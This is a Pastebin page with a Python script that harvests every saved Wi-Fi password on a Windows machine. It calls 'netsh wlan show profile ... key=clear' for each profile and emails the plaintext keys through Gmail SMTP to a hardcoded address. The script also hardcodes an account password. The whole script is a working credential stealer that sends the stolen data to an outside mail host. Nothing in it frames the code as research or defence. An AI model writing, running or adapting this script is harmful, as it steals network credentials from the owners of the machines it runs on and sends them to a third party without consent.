parthosutradhor

Wifi Passwords Windows Machine

Apr 28th, 2020
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.46 KB | None | 0 0
  1. import subprocess
  2. import smtplib
  3. import re
  4. from email.mime.text import MIMEText
  5. from email.message import EmailMessage
  6.  
  7. #for python 2.7
  8. def send_mail(self, from_email, to_email, subject, message, password):
  9.     msg = MIMEText(message)
  10.     msg['From'] = from_email
  11.     msg['To'] = to_email
  12.     msg['Subject'] = subject
  13.     server = smtplib.SMTP("smtp.gmail.com", 587)
  14.     server.starttls()
  15.     server.login(from_email, password)
  16.     server.sendmail(from_email, [to_email], msg.as_string())
  17.     server.quit()
  18.  
  19. #for python 3
  20. def send_mail(from_email, to_email, subject, message, password):
  21.     msg = EmailMessage()
  22.     msg['From'] = from_email
  23.     msg['To'] = to_email
  24.     msg['Subject'] = subject
  25.     msg.set_content(message)
  26.     server = smtplib.SMTP("smtp.gmail.com", 587)
  27.     server.starttls()
  28.     server.login(from_email, password)
  29.     server.send_message(msg)
  30.     server.quit()
  31.  
  32. from_email = "---@gmail.com"
  33. to_email = "---@gmail.com"
  34. subject = "Wifi Passwords"
  35. password = "cxwodyvtacalemmmpsd"
  36.  
  37. command = "netsh wlan show profile"
  38. networks = subprocess.check_output(command, shell=True)
  39. networks = networks.decode('ISO-8859-1')
  40. network_list = re.findall("(?:Profile\s.*:\s)(.*)(?:.)", networks)
  41.  
  42.  
  43. message = ""
  44. for ssid in network_list:
  45.     command = 'netsh wlan show profile "' + ssid + '" key=clear'
  46.     result = subprocess.check_output(command, shell=True)
  47.     message = message + result.decode('ISO-8859-1')
  48.  
  49.  
  50. send_mail(from_email, to_email, subject, message, password)
Add Comment
Please, Sign In to add comment